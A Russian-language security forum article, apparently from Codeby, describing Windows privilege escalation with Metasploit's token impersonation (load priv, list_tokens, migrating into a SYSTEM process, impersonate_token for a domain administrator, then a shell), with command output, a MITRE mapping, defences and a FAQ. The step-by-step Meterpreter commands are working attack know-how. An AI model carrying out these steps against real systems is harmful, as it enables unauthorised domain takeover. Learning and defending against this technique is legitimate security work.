• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Обновлённый гайд: использование токенов в Metasploit для повышения привилегий

1749629217939.webp


Вы точно используете Metasploit на максимум?
Многие знают Metasploit, но почти никто не использует его скрытые возможности по максимуму. В этой статье я покажу, как один почти забытый модуль позволяет получить права администратора без ввода пароля — просто используя то, что уже есть в системе. Даже если вы считаете себя профи — скорее всего, вы упускали этот приём.

Вступление

Всем доброго времени! Сегодня поговорим об очень полезной постэксплуатационной технике в Metasploit — использовании функционала Incognito (который теперь является частью расширения priv), а именно команд steal_token и impersonate_token. Они позволяют захватывать токены доступа (access tokens) залогиненных пользователей и повышать свои привилегии на машине.

Цель — перейти от сессии обычного пользователя к правам локального или даже доменного администратора. Данный подход всё ещё абсолютно актуален и постоянно используется в современных red-team сценариях, являясь одной из многих техник повышения привилегий. Подробнее о других методах можно прочитать в общем обзоре техник в Windows.

Где это работает и что нужно знать

  • [*Целевая ОС: Windows 10/11 или Server 2016/2019/2022 (лучше всего в доменной среде для демонстрации всей мощи).
  • Пентест-платформа: Kali 2024+ и Metasploit Framework 6.x+.
  • Токен — это цифровой ключ-удостоверение, которое система выдает пользователю после успешного входа. Этот ключ используется для доступа к ресурсам вместо постоянного ввода пароля. Наша задача — "одолжить" ключ у более привилегированного пользователя.

Практика: от простого юзера до Администратора

Самое интересное. Наш сценарий — повышение привилегий, а не получение SYSTEM сразу.

1. Получаем начальную сессию
Представим, что мы получили начальный доступ к машине. В реальной атаке это мог бы быть результат фишинга или, что чаще встречается в корпоративных сетях, эксплуатации уязвимости на веб-сервере. Кстати, именно профессиональному поиску таких уязвимостей и посвящен курс WASA от экспертов Codeby. Для нашего же примера будем считать, что сессия уже у нас в руках.
Код:
# Успешная эксплуатация, сессия открыта
meterpreter > getuid
Server username: CONTOSO\B.Smith
Отлично, мы на машине, но с правами обычного пользователя B.Smith. Нам нужно больше власти.

2. Загрузка нужных расширений
Для работы с токенами нам понадобится расширение priv.
Код:
meterpreter > load priv
Loading extension priv...Success.
Подсказка: priv включает в себя функционал старого доброго incognito и другие полезные команды для эскалации.

3. Ищем "золотой" токен
Давайте посмотрим, какие токены доступны нам из текущего контекста.
Код:
meterpreter > list_tokens -u
[*] Enumerating tokens for current user
[*] Found 1 tokens
CONTOSO\B.Smith (Impersonation)
Как видим, доступен только наш собственный токен, что бесполезно. Чтобы увидеть токены других пользователей, нам нужно исполняться в контексте процесса с высокими привилегиями. Мигрируем в процесс, запущенный от имени SYSTEM.
Сначала найдем подходящий процесс:
Код:
meterpreter > ps
# ... ищем в списке стабильный процесс с пользователем NT AUTHORITY\SYSTEM, например, spoolsv.exe
2344   488    spoolsv.exe   x64   0     NT AUTHORITY\SYSTEM   C:\Windows\System32\spoolsv.exe
Теперь мигрируем в него:
Код:
meterpreter > migrate 2344
[*] Migrating from 4120 to 2344...
[*] Migration completed successfully.
Мы всё еще B.Smith, но наш Meterpreter теперь работает внутри процесса SYSTEM. Попробуем снова запросить список токенов.
Код:
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
CONTOSO\DomainAdmin
CONTOSO\HelpDesk
Impersonation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
CONTOSO\B.Smith
Вот это улов! Мы видим, что на машине активна сессия доменного администратора (DomainAdmin). Это наш билет к успеху.

4. Захват и использование токена
Теперь, когда мы видим токен администратора, мы можем его присвоить.
Код:
meterpreter > impersonate_token "CONTOSO\\DomainAdmin"
[*] Successfully impersonated user CONTOSO\DomainAdmin
Обратите внимание на двойной слэш \\ — это обязательный синтаксис.
Проверим, кто мы теперь:
Код:
meterpreter > getuid
Server username: CONTOSO\DomainAdmin
Успех! Мы действуем от имени доменного админа. Теперь мы можем выполнять любые действия с его правами, например, получить доступ к командной строке:
Код:
meterpreter > shell
Process 5540 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
contoso\domainadmin
Задача выполнена. Мы прошли путь от обычного пользователя до одного из самых привилегированных в домене.

Теория и современность

  • MITRE ATT&CK: Наша атака полностью соответствует технике T1134.001: Access Token Manipulation: Token Impersonation/Theft.
  • Токены олицетворения (Impersonation): Позволяют выполнять действия от имени другого пользователя в рамках локальной машины.
  • Токены делегирования (Delegation): Гораздо опаснее. Позволяют процессу проходить аутентификацию на удалённых ресурсах от имени пользователя. Захватив такой токен, можно перемещаться по сети (lateral movement). Этот метод является частью большого класса атак на учетные данные в домене, наряду с атаками на Kerberos, которые также нацелены на компрометацию привилегированных сессий.
  • Современные защиты: Атака известна, и Microsoft активно внедряет средства противодействия: Credential Guard, WDAC, LSA Protection, а EDR-системы внимательно следят за подозрительными манипуляциями с токенами.

Защита

  • Принцип минимальных привилегий: Не используйте учетные записи доменных (DA) и локальных администраторов для повседневной работы на рабочих станциях.
  • Внедряйте технологии защиты: Активируйте Credential Guard, LSA Protection. О том, как именно работает защита процесса LSA в режиме RunAsPPL, стоит почитать отдельно, чтобы понимать механику противодействия. Также не забывайте про AppLocker/WDAC для контроля запускаемых приложений.
  • Ограничивайте активные сеансы: Настраивайте автоматический выход из сеансов (особенно RDP) по неактивности.
  • Регулярные перезагрузки: Все токены хранятся в памяти и удаляются после перезагрузки. Настроенная ночная перезагрузка рабочих станций — простая и эффективная мера.
  • Мониторинг: Используйте EDR-решения для отслеживания аномальных вызовов API (например, DuplicateTokenEx, ImpersonateLoggedOnUser) и миграции процессов.

Заключение

Тактика перехвата токенов остается мощным инструментом в арсенале пентестера. Она наглядно демонстрирует, почему оставлять активные сеансы с высокими привилегиями на рабочих станциях — крайне плохая идея. Несмотря на появление новых защит, в неправильно настроенных средах этот метод будет работать еще очень долго.
Тезисы:
  • На Windows 10/11 в доменной среде атака по-прежнему эффективна.
  • Ключ к успеху — найти и мигрировать в процесс с высокими правами, чтобы увидеть все токены.
  • Защита строится на гигиене привилегированных учетных записей и современных средствах защиты Windows.

FAQ

Q: Incognito всё ещё существует в Msf6?
A: Да, его основной функционал полностью интегрирован в расширение priv. Просто загрузите его командой load priv.

Q: Какие токены использовать для получения SYSTEM?
A: Чтобы стать SYSTEM, вам нужно найти процесс, уже запущенный от имени NT AUTHORITY\SYSTEM (например, services.exe), и присвоить его токен с помощью impersonate_token "NT AUTHORITY\SYSTEM". Тип токена здесь менее важен, чем его владелец.

Q: Как защититься от этой атаки в корпоративной среде?
A: Credential Guard, строгий контроль за использованием админских учетных записей, регулярные перезагрузки станций и качественный EDR-мониторинг манипуляций с процессами и токенами.

Какие ещё нестандартные модули Metasploit вы используете в постэксплуатации? Делитесь своими фишками и кейсами — давайте соберём топ реально рабочих приёмов, которые не описаны в каждом втором гиде.
 
Последнее редактирование:
  • Нравится
Реакции: Luxkerr
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab